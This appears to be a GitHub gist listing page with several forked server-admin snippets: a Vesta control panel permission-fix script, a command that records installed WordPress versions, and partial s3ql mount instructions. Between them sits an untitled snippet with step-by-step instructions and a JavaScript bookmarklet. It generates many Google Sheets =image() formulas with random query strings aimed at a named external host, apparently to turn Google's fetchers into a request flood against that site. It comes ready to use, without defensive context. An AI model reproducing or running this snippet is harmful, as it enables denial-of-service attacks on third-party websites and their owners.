Skip to content

Instantly share code, notes, and snippets.

@abradabra
abradabra / vesta-user-fix-permission.sh
Created August 23, 2019 21:23 — forked from 0x00dec0de/vesta-user-fix-permission.sh
Fix user permissions to vesta control panel
#!/bin/bash
cd /home/
for i in `ls | grep -v 'lost+found'`; do
if id "$i" &>/dev/null ; then
chattr -i /home/$i/conf
chown -R ${i}:${i} $i
chown root:root /home/$i/conf
chown root:root /home/$i/conf/*
chown root:bind /home/$i/conf/dns/* &>/dev/null
chown Debian-exim:mail /home/$i/conf/mail/* &>/dev/null
1. Create google spreadsheet
2. Open any website
3. Write by hands into browser url:
javascript:
4. Insert after it and press Enter or insert text into dev. console (PS. change main function parameters):
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100); function makeid(n) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < n; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function generateStr(url, x) { var div = document.createElement("div"); for( var i=0; i < x; i++ ) { var p = document.createElement("p"); var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); p.appendChild(t); div.appendChild(p); } document.body.innerHTML = ""; document.body.appendChild(div); } function main(url, x) { generateStr(url, x);}
4. Copy all text: Ctrl+A Ctrl+C
5. Insert buffer into google spreadsheet.
@abradabra
abradabra / gist:2753a54ae3492d5867f69acbc4f83be0
Created April 4, 2018 07:06 — forked from Blake-/gist:96a73ff79b4533e15b919a2f47968b3f
Find all WordPress installs on a server and record the version
find /home/ -name 'version.php' -path '*wp-includes/*' -print -exec grep '$wp_version =' {} \; -exec echo '' \; > all-wp-versions-2.txt
@abradabra
abradabra / gist:b05a3d45b51a5b22cca8437dba46fe96
Created April 3, 2018 20:54 — forked from Blake-/gist:fc00725d519a25a55b3c2368d1ee238d
Mounting a s3ql file system to the S3 compatible file system at Softlayer on an Ubuntu 16 Xenial VSI
Mounting a s3ql file system to the S3 compatible file system at Softlayer on an Ubuntu 16 Xenial VSI
apt install s3ql
nano /etc/s3ql.authinfo
[softlayer-s3]
backend-login: somelogin